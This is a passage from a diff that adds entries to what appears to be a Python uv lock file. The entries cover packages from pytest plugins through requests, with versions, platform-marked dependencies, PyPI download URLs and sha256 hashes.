'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/09/9d/78b3785134306efe9329f40815af45b9215068d6ae4747ec0bc91ff1f4aa/pytest-8.2.0.tar.gz", hash = "sha256:d507d4482197eac0ba2bae2e9babf0672eb333017bcedaa5fb1a3d42c1174b3f", size = 1422883, upload-time = "2024-04-27T23:34:55.027Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c4/43/6b1debd95ecdf001bc46789a933f658da3f9738c65f32db3f4e8f2a4ca97/pytest-8.2.0-py3-none-any.whl", hash = "sha256:1733f0620f6cda4095bbf0d9ff8022486e91892245bb9e7d5542c018f612f233", size = 339229, upload-time = "2024-04-27T23:34:52.413Z" }, +] + +[[package]] +name = "pytest-asyncio" +version = "0.23.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cd/ef/80107b9e939875ad613c705d99d91e4510dcf5fed29613ac9aecbcba0a8d/pytest-asyncio-0.23.6.tar.gz", hash = "sha256:ffe523a89c1c222598c76856e76852b787504ddb72dd5d9b6617ffa8aa2cde5f", size = 46203, upload-time = "2024-03-19T07:17:34.888Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/c9/de22c040d4c821c6c797ca1d720f1f4b2f4293d5757e811c62ae544496c4/pytest_asyncio-0.23.6-py3-none-any.whl", hash = "sha256:68516fdd1018ac57b846c9846b954f0393b26f094764a28c955eabb0536a4e8a", size = 17552, upload-time = "2024-03-19T07:17:32.951Z" }, +] + +[[package]] +name = "pytest-cov" +version = "5.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage", extra = ["toml"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/74/67/00efc8d11b630c56f15f4ad9c7f9223f1e5ec275aaae3fa9118c6a223ad2/pytest-cov-5.0.0.tar.gz", hash = "sha256:5837b58e9f6ebd335b0f8060eecce69b662415b16dc503883a02f45dfeb14857", size = 63042, upload-time = "2024-03-24T20:16:34.856Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/3a/af5b4fa5961d9a1e6237b530eb87dd04aea6eb83da09d2a4073d81b54ccf/pytest_cov-5.0.0-py3-none-any.whl", hash = "sha256:4f0764a1219df53214206bf1feea4633c3b558a2925c8b59f144f682861ce652", size = 21990, upload-time = "2024-03-24T20:16:32.444Z" }, +] + +[[package]] +name = "pytest-django" +version = "4.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bd/cf/44510ac5479f281d6663a08dff0d93f56b21f4ee091980ea4d4b64491ad6/pytest-django-4.8.0.tar.gz", hash = "sha256:5d054fe011c56f3b10f978f41a8efb2e5adfc7e680ef36fb571ada1f24779d90", size = 83291, upload-time = "2024-01-30T13:14:19.511Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/5b/29555191e903881d05e1f7184205ec534c7021e0ee077d1e6a1ee8f1b1eb/pytest_django-4.8.0-py3-none-any.whl", hash = "sha256:ca1ddd1e0e4c227cf9e3e40a6afc6d106b3e70868fd2ac5798a22501271cd0c7", size = 23432, upload-time = "2024-01-30T13:14:17.953Z" }, +] + +[[package]] +name = "pytest-env" +version = "1.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/02/cc/df6940b2527bfa634c00940dfb6e3ec873bdfb7507b55894c93283fa3178/pytest_env-1.1.3.tar.gz", hash = "sha256:fcd7dc23bb71efd3d35632bde1bbe5ee8c8dc4489d6617fb010674880d96216b", size = 8627, upload-time = "2023-11-28T04:11:27.607Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/25/b2/bdc663a5647ce2034f7e8420122af340df87c01ba97745fc753b8c917acb/pytest_env-1.1.3-py3-none-any.whl", hash = "sha256:aada77e6d09fcfb04540a6e462c58533c37df35fa853da78707b17ec04d17dfc", size = 6154, upload-time = "2023-11-28T04:11:25.923Z" }, +] + +[[package]] +name = "pytest-html" +version = "4.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jinja2", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-metadata", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bb/ab/4862dcb5a8a514bd87747e06b8d55483c0c9e987e1b66972336946e49b49/pytest_html-4.1.1.tar.gz", hash = "sha256:70a01e8ae5800f4a074b56a4cb1025c8f4f9b038bba5fe31e3c98eb996686f07", size = 150773, upload-time = "2023-11-07T15:44:28.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c8/c7/c160021cbecd956cc1a6f79e5fe155f7868b2e5b848f1320dad0b3e3122f/pytest_html-4.1.1-py3-none-any.whl", hash = "sha256:c8152cea03bd4e9bee6d525573b67bbc6622967b72b9628dda0ea3e2a0b5dd71", size = 23491, upload-time = "2023-11-07T15:44:27.149Z" }, +] + +[[package]] +name = "pytest-icdiff" +version = "0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "icdiff", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pprintpp", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/0c/66e1e2590e98f4428e374a3b6448dc086a908d15b1e24b914539d13b7ac4/pytest-icdiff-0.9.tar.gz", hash = "sha256:13aede616202e57fcc882568b64589002ef85438046f012ac30a8d959dac8b75", size = 7110, upload-time = "2023-12-05T11:18:30.192Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e2/e1/cafe1edf7a30be6fa1bbbf43f7af12b34682eadcf19eb6e9f7352062c422/pytest_icdiff-0.9-py3-none-any.whl", hash = "sha256:efee0da3bd1b24ef2d923751c5c547fbb8df0a46795553fba08ef57c3ca03d82", size = 4994, upload-time = "2023-12-05T11:18:28.572Z" }, +] + +[[package]] +name = "pytest-metadata" +version = "3.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a6/85/8c969f8bec4e559f8f2b958a15229a35495f5b4ce499f6b865eac54b878d/pytest_metadata-3.1.1.tar.gz", hash = "sha256:d2a29b0355fbc03f168aa96d41ff88b1a3b44a3b02acbe491801c98a048017c8", size = 9952, upload-time = "2024-02-12T19:38:44.887Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3e/43/7e7b2ec865caa92f67b8f0e9231a798d102724ca4c0e1f414316be1c1ef2/pytest_metadata-3.1.1-py3-none-any.whl", hash = "sha256:c8e0844db684ee1c798cfa38908d20d67d0463ecb6137c72e91f418558dd5f4b", size = 11428, upload-time = "2024-02-12T19:38:42.531Z" }, +] + +[[package]] +name = "pytest-mock" +version = "3.14.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c6/90/a955c3ab35ccd41ad4de556596fa86685bf4fc5ffcc62d22d856cfd4e29a/pytest-mock-3.14.0.tar.gz", hash = "sha256:2719255a1efeceadbc056d6bf3df3d1c5015530fb40cf347c0f9afac88410bd0", size = 32814, upload-time = "2024-03-21T22:14:04.964Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f2/3b/b26f90f74e2986a82df6e7ac7e319b8ea7ccece1caec9f8ab6104dc70603/pytest_mock-3.14.0-py3-none-any.whl", hash = "sha256:0b72c38033392a5f4621342fe11e9219ac11ec9d375f8e2a0c164539e0d70f6f", size = 9863, upload-time = "2024-03-21T22:14:02.694Z" }, +] + +[[package]] +name = "pytest-ordering" +version = "0.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e1/ba/65091c36e6e18da479d22d860586e3ba3a4237cc92a66e3ddd945e4fe761/pytest-ordering-0.6.tar.gz", hash = "sha256:561ad653626bb171da78e682f6d39ac33bb13b3e272d406cd555adb6b006bda6", size = 2629, upload-time = "2018-11-14T00:55:26.004Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/98/adc368fe369465f291ab24e18b9900473786ed1afdf861ba90467eb0767e/pytest_ordering-0.6-py3-none-any.whl", hash = "sha256:3f314a178dbeb6777509548727dc69edf22d6d9a2867bf2d310ab85c403380b6", size = 4643, upload-time = "2018-10-25T16:25:18.445Z" }, +] + +[[package]] +name = "pytest-retry" +version = "1.7.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/5b/607b017994cca28de3a1ad22a3eee8418e5d428dcd8ec25b26b18e995a73/pytest_retry-1.7.0.tar.gz", hash = "sha256:f8d52339f01e949df47c11ba9ee8d5b362f5824dff580d3870ec9ae0057df80f", size = 19977, upload-time = "2025-01-19T01:56:13.115Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/ff/3266c8a73b9b93c4b14160a7e2b31d1e1088e28ed29f4c2d93ae34093bfd/pytest_retry-1.7.0-py3-none-any.whl", hash = "sha256:a2dac85b79a4e2375943f1429479c65beb6c69553e7dae6b8332be47a60954f4", size = 13775, upload-time = "2025-01-19T01:56:11.199Z" }, +] + +[[package]] +name = "pytest-split" +version = "0.8.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/62/e3/34f62cadb4598f794fecd9d8305016174742e754649b8d00e36827154331/pytest_split-0.8.2.tar.gz", hash = "sha256:446f330e3607572027f3861058c27d9b3eaa80d83dc86675abe2978bbf50c02f", size = 13290, upload-time = "2024-01-29T07:42:53.88Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/82/7dba24afe8ccd082adbc8128d972c6eb184e86e4c466c04aea983fc9b567/pytest_split-0.8.2-py3-none-any.whl", hash = "sha256:b7fa704659cb224b9f7f5c24536bc04eff351f42d852bf0312e03774fd9c0972", size = 11690, upload-time = "2024-01-29T07:42:52.089Z" }, +] + +[[package]] +name = "pytest-testmon" +version = "2.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/54/24/b17712bc8b9d9814a30346e5bd76a6c4539f5187455f4e0d99d95f033da6/pytest_testmon-2.1.3.tar.gz", hash = "sha256:dad41aa7d501d74571750da1abd3f6673b63fd9dbf3023bd1623814999018c97", size = 22608, upload-time = "2024-12-22T12:43:28.822Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/08/278800711d937e76ce59105fea1bb739ae5ff5c13583fd064fe3b4e64fa1/pytest_testmon-2.1.3-py3-none-any.whl", hash = "sha256:53ba06d8a90ce24c3a191b196aac72ca4b788beff5eb1c1bffee04dc50ec7105", size = 24994, upload-time = "2024-12-22T12:43:10.173Z" }, +] + +[[package]] +name = "pytest-unordered" +version = "0.6.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/9f/4cfc7d4b2f321e8e1cb64ef92555d5c5b011a500e55380ae748dd2ae8441/pytest-unordered-0.6.0.tar.gz", hash = "sha256:f61b4f6e06a60a92db50968954efac93e2f584290a49f53ad135e3f32f57e02a", size = 7120, upload-time = "2024-03-13T15:05:07.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/04/3aa74f141df30beecb0c0d889181aef99f568d56412ee22c94902182bd53/pytest_unordered-0.6.0-py3-none-any.whl", hash = "sha256:86675cade320d1c54864fedd10c2277f685bf2d958ef744c578b3d622000f2ac", size = 5957, upload-time = "2024-03-13T15:05:05.303Z" }, +] + +[[package]] +name = "pytest-xdist" +version = "3.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "execnet", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/41/c4/3c310a19bc1f1e9ef50075582652673ef2bfc8cd62afef9585683821902f/pytest_xdist-3.6.1.tar.gz", hash = "sha256:ead156a4db231eec769737f57668ef58a2084a34b2e55c4a8fa20d861107300d", size = 84060, upload-time = "2024-04-28T19:29:54.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/82/1d96bf03ee4c0fdc3c0cbe61470070e659ca78dc0086fb88b66c185e2449/pytest_xdist-3.6.1-py3-none-any.whl", hash = "sha256:9ed4adfb68a016610848639bb7e02c9352d5d9f03d04809919e2dafc3be4cca7", size = 46108, upload-time = "2024-04-28T19:29:52.813Z" }, +] + +[[package]] +name = "python-crontab" +version = "3.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/99/7f/c54fb7e70b59844526aa4ae321e927a167678660ab51dda979955eafb89a/python_crontab-3.3.0.tar.gz", hash = "sha256:007c8aee68dddf3e04ec4dce0fac124b93bd68be7470fc95d2a9617a15de291b", size = 57626, upload-time = "2025-07-13T20:05:35.535Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/47/42/bb4afa5b088f64092036221843fc989b7db9d9d302494c1f8b024ee78a46/python_crontab-3.3.0-py3-none-any.whl", hash = "sha256:739a778b1a771379b75654e53fd4df58e5c63a9279a63b5dfe44c0fcc3ee7884", size = 27533, upload-time = "2025-07-13T20:05:34.266Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.8.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4c/c4/13b4776ea2d76c115c1d1b84579f3764ee6d57204f6be27119f13a61d0a9/python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86", size = 357324, upload-time = "2021-07-14T08:19:19.783Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/36/7a/87837f39d0296e723bb9b62bbb257d0355c7f6128853c78955f57342a56d/python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9", size = 247702, upload-time = "2021-07-14T08:19:18.161Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/26/19cadc79a718c5edbec86fd4919a6b6d3f681039a2f6d66d14be94e75fb9/python_dotenv-1.2.1.tar.gz", hash = "sha256:42667e897e16ab0d66954af0e60a9caa94f0fd4ecf3aaf6d2d260eec1aa36ad6", size = 44221, upload-time = "2025-10-26T15:12:10.434Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/1b/a298b06749107c305e1fe0f814c6c74aea7b2f1e10989cb30f544a1b3253/python_dotenv-1.2.1-py3-none-any.whl", hash = "sha256:b81ee9561e9ca4004139c6cbba3a238c32b03e4894671e181b671e8cb8425d61", size = 21230, upload-time = "2025-10-26T15:12:09.109Z" }, +] + +[[package]] +name = "python-multipart" +version = "0.0.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/87/f44d7c9f274c7ee665a29b885ec97089ec5dc034c7f3fafa03da9e39a09e/python_multipart-0.0.20.tar.gz", hash = "sha256:8dd0cab45b8e23064ae09147625994d090fa46f5b0d1e13af944c331a7fa9d13", size = 37158, upload-time = "2024-12-16T19:45:46.972Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/45/58/38b5afbc1a800eeea951b9285d3912613f2603bdf897a4ab0f4bd7f405fc/python_multipart-0.0.20-py3-none-any.whl", hash = "sha256:8a62d3a8335e06589fe01f2a3e178cdcc632f3fbe0d492ad9ee0ec35aab1f104", size = 24546, upload-time = "2024-12-16T19:45:44.423Z" }, +] + +[[package]] +name = "pytz" +version = "2025.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f8/bf/abbd3cdfb8fbc7fb3d4d38d320f2441b1e7cbe29be4f23797b4a2b5d8aac/pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3", size = 320884, upload-time = "2025-03-25T02:25:00.538Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/c4/34e93fe5f5429d7570ec1fa436f1986fb1f00c3e0f43a589fe2bbcd22c3f/pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00", size = 509225, upload-time = "2025-03-25T02:24:58.468Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/16/a95b6757765b7b031c9374925bb718d55e0a9ba8a1b6a12d25962ea44347/pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e", size = 185826, upload-time = "2025-09-25T21:31:58.655Z" }, + { url = "https://files.pythonhosted.org/packages/16/19/13de8e4377ed53079ee996e1ab0a9c33ec2faf808a4647b7b4c0d46dd239/pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824", size = 175577, upload-time = "2025-09-25T21:32:00.088Z" }, + { url = "https://files.pythonhosted.org/packages/0c/62/d2eb46264d4b157dae1275b573017abec435397aa59cbcdab6fc978a8af4/pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c", size = 775556, upload-time = "2025-09-25T21:32:01.31Z" }, + { url = "https://files.pythonhosted.org/packages/10/cb/16c3f2cf3266edd25aaa00d6c4350381c8b012ed6f5276675b9eba8d9ff4/pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00", size = 882114, upload-time = "2025-09-25T21:32:03.376Z" }, + { url = "https://files.pythonhosted.org/packages/71/60/917329f640924b18ff085ab889a11c763e0b573da888e8404ff486657602/pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d", size = 806638, upload-time = "2025-09-25T21:32:04.553Z" }, + { url = "https://files.pythonhosted.org/packages/dd/6f/529b0f316a9fd167281a6c3826b5583e6192dba792dd55e3203d3f8e655a/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a", size = 767463, upload-time = "2025-09-25T21:32:06.152Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6a/b627b4e0c1dd03718543519ffb2f1deea4a1e6d42fbab8021936a4d22589/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4", size = 794986, upload-time = "2025-09-25T21:32:07.367Z" }, +] + +[[package]] +name = "qrcode" +version = "8.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8f/b2/7fc2931bfae0af02d5f53b174e9cf701adbb35f39d69c2af63d4a39f81a9/qrcode-8.2.tar.gz", hash = "sha256:35c3f2a4172b33136ab9f6b3ef1c00260dd2f66f858f24d88418a015f446506c", size = 43317, upload-time = "2025-05-01T15:44:24.726Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dd/b8/d2d6d731733f51684bbf76bf34dab3b70a9148e8f2cef2bb544fccec681a/qrcode-8.2-py3-none-any.whl", hash = "sha256:16e64e0716c14960108e85d853062c9e8bba5ca8252c0b4d0231b9df4060ff4f", size = 45986, upload-time = "2025-05-01T15:44:22.781Z" }, +] + +[[package]] +name = "redis" +version = "5.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "async-timeout", marker = "(python_full_version < '3.11.3' and sys_platform == 'darwin') or (python_full_version < '3.11.3' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/47/da/d283a37303a995cd36f8b92db85135153dc4f7a8e4441aa827721b442cfb/redis-5.2.1.tar.gz", hash = "sha256:16f2e22dff21d5125e8481515e386711a34cbec50f0e44413dd7d9c060a54e0f", size = 4608355, upload-time = "2024-12-06T09:50:41.956Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/5f/fa26b9b2672cbe30e07d9a5bdf39cf16e3b80b42916757c5f92bca88e4ba/redis-5.2.1-py3-none-any.whl", hash = "sha256:ee7e1056b9aea0f04c6c2ed59452947f34c4940ee025f5dd83e6a6418b6989e4", size = 261502, upload-time = "2024-12-06T09:50:39.656Z" }, +] + +[[package]] +name = "referencing" +version = "0.36.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rpds-py", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2f/db/98b5c277be99dd18bfd91dd04e1b759cad18d1a338188c936e92f921c7e2/referencing-0.36.2.tar.gz", hash = "sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa", size = 74744, upload-time = "2025-01-25T08:48:16.138Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/b1/3baf80dc6d2b7bc27a95a67752d0208e410351e3feb4eb78de5f77454d8d/referencing-0.36.2-py3-none-any.whl", hash = "sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0", size = 26775, upload-time = "2025-01-25T08:48:14.241Z" }, +] + +[[package]] +name = "regex" +version = "2025.10.23" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f8/c8/1d2160d36b11fbe0a61acb7c3c81ab032d9ec8ad888ac9e0a61b85ab99dd/regex-2025.10.23.tar.gz", hash = "sha256:8cbaf8ceb88f96ae2356d01b9adf5e6306fa42fa6f7eab6b97794e37c959ac26", size = 401266, upload-time = "2025-10-21T15:58:20.23Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/e5/74b7cd5cd76b4171f9793042045bb1726f7856dd56e582fc3e058a7a8a5e/regex-2025.10.23-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6c531155bf9179345e85032052a1e5fe1a696a6abf9cea54b97e8baefff970fd", size = 487960, upload-time = "2025-10-21T15:54:53.253Z" }, + { url = "https://files.pythonhosted.org/packages/b9/08/854fa4b3b20471d1df1c71e831b6a1aa480281e37791e52a2df9641ec5c6/regex-2025.10.23-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:912e9df4e89d383681268d38ad8f5780d7cccd94ba0e9aa09ca7ab7ab4f8e7eb", size = 290425, upload-time = "2025-10-21T15:54:55.21Z" }, + { url = "https://files.pythonhosted.org/packages/ab/d3/6272b1dd3ca1271661e168762b234ad3e00dbdf4ef0c7b9b72d2d159efa7/regex-2025.10.23-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f375c61bfc3138b13e762fe0ae76e3bdca92497816936534a0177201666f44f", size = 288278, upload-time = "2025-10-21T15:54:56.862Z" }, + { url = "https://files.pythonhosted.org/packages/14/8f/c7b365dd9d9bc0a36e018cb96f2ffb60d2ba8deb589a712b437f67de2920/regex-2025.10.23-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e248cc9446081119128ed002a3801f8031e0c219b5d3c64d3cc627da29ac0a33", size = 793289, upload-time = "2025-10-21T15:54:58.352Z" }, + { url = "https://files.pythonhosted.org/packages/d4/fb/b8fbe9aa16cf0c21f45ec5a6c74b4cecbf1a1c0deb7089d4a6f83a9c1caa/regex-2025.10.23-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b52bf9282fdf401e4f4e721f0f61fc4b159b1307244517789702407dd74e38ca", size = 860321, upload-time = "2025-10-21T15:54:59.813Z" }, + { url = "https://files.pythonhosted.org/packages/b0/81/bf41405c772324926a9bd8a640dedaa42da0e929241834dfce0733070437/regex-2025.10.23-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5c084889ab2c59765a0d5ac602fd1c3c244f9b3fcc9a65fdc7ba6b74c5287490", size = 907011, upload-time = "2025-10-21T15:55:01.968Z" }, + { url = "https://files.pythonhosted.org/packages/a4/fb/5ad6a8b92d3f88f3797b51bb4ef47499acc2d0b53d2fbe4487a892f37a73/regex-2025.10.23-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d80e8eb79009bdb0936658c44ca06e2fbbca67792013e3818eea3f5f228971c2", size = 800312, upload-time = "2025-10-21T15:55:04.15Z" }, + { url = "https://files.pythonhosted.org/packages/42/48/b4efba0168a2b57f944205d823f8e8a3a1ae6211a34508f014ec2c712f4f/regex-2025.10.23-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b6f259118ba87b814a8ec475380aee5f5ae97a75852a3507cf31d055b01b5b40", size = 782839, upload-time = "2025-10-21T15:55:05.641Z" }, + { url = "https://files.pythonhosted.org/packages/13/2a/c9efb4c6c535b0559c1fa8e431e0574d229707c9ca718600366fcfef6801/regex-2025.10.23-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:9b8c72a242683dcc72d37595c4f1278dfd7642b769e46700a8df11eab19dfd82", size = 854270, upload-time = "2025-10-21T15:55:07.27Z" }, + { url = "https://files.pythonhosted.org/packages/34/2d/68eecc1bdaee020e8ba549502291c9450d90d8590d0552247c9b543ebf7b/regex-2025.10.23-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:a8d7b7a0a3df9952f9965342159e0c1f05384c0f056a47ce8b61034f8cecbe83", size = 845771, upload-time = "2025-10-21T15:55:09.477Z" }, + { url = "https://files.pythonhosted.org/packages/a5/cd/a1ae499cf9b87afb47a67316bbf1037a7c681ffe447c510ed98c0aa2c01c/regex-2025.10.23-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:413bfea20a484c524858125e92b9ce6ffdd0a4b97d4ff96b5859aa119b0f1bdd", size = 788778, upload-time = "2025-10-21T15:55:11.396Z" }, +] + +[[package]] +name = "requests" +version = "2.32.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "charset-normalizer", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "idna", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "urllib3", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, +] + +[[package]] +name = "requests-oauthlib" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "oauthlib", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { 